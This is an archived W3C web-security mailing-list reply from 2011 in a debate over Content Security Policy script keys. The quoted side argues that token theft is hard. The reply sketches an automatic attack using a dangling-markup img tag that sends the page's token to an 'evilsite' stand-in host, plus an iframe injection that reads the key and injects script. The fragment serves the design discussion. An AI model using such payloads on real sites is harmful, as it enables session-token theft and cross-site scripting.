W3C home > Mailing lists > Public > public-web-security@w3.org > January 2011

Re: [Content Security Policy] Proposal to move the debate forward

From: gaz Heyes <gazheyes@gmail.com>
Date: Fri, 28 Jan 2011 10:54:57 +0000
Message-ID: <AANLkTimkpAYf5qETrQo-5Z4yLSipCYjp7tvL_X2js6nf@mail.gmail.com>
To: Gervase Markham <gerv@mozilla.org>
Cc: Brandon Sterne <bsterne@mozilla.com>, public-web-security@w3.org
On 28 January 2011 10:48, Gervase Markham <gerv@mozilla.org> wrote:

> You have to a) inject a form, b) find a way for the form to include the
> data you need, and c) get it submitted.
> Without script, c) requires explicit user action.
> Then, after you have the session token, you have to match it up with the
> user you stole it from, and persuade them to again click on some sort of
> link you control which has an XSS vector with the new token embedded, so you
> can finally start executing malicious script in their page.
> [If the token is, in itself, valuable (e.g. it's a pure SessionID) then you
> could start to do impersonation. So I agree (thank you for helping me see
> this) it's not good to have them the same - it should be a hash of the
> sessionID.]
> But I still think all the above is hard enough that some sites will want to
> take the improved caching possibilities of having a script key which is not
> unique to each request, rather than the increase in security from having a
> new one every time. Security is trade-offs. Paypal may rotate their script
> keys for every request; a standard web framework may default to a a per-user
> approach.

You want a automatic attack? Ok. I'm really clueless as to why you don't get
this. I said there are many ways. <img src='//evilsite?token please=
Initiated by a <iframe src="//cspsite?injection=<img src='//evilsite?token
please=" onload="setTimeout(function(){ readKey();doJSInjection(); },
Received on Friday, 28 January 2011 10:55:29 UTC

This archive was generated by hypermail 2.4.0 : Friday, 17 January 2020 18:09:25 UTC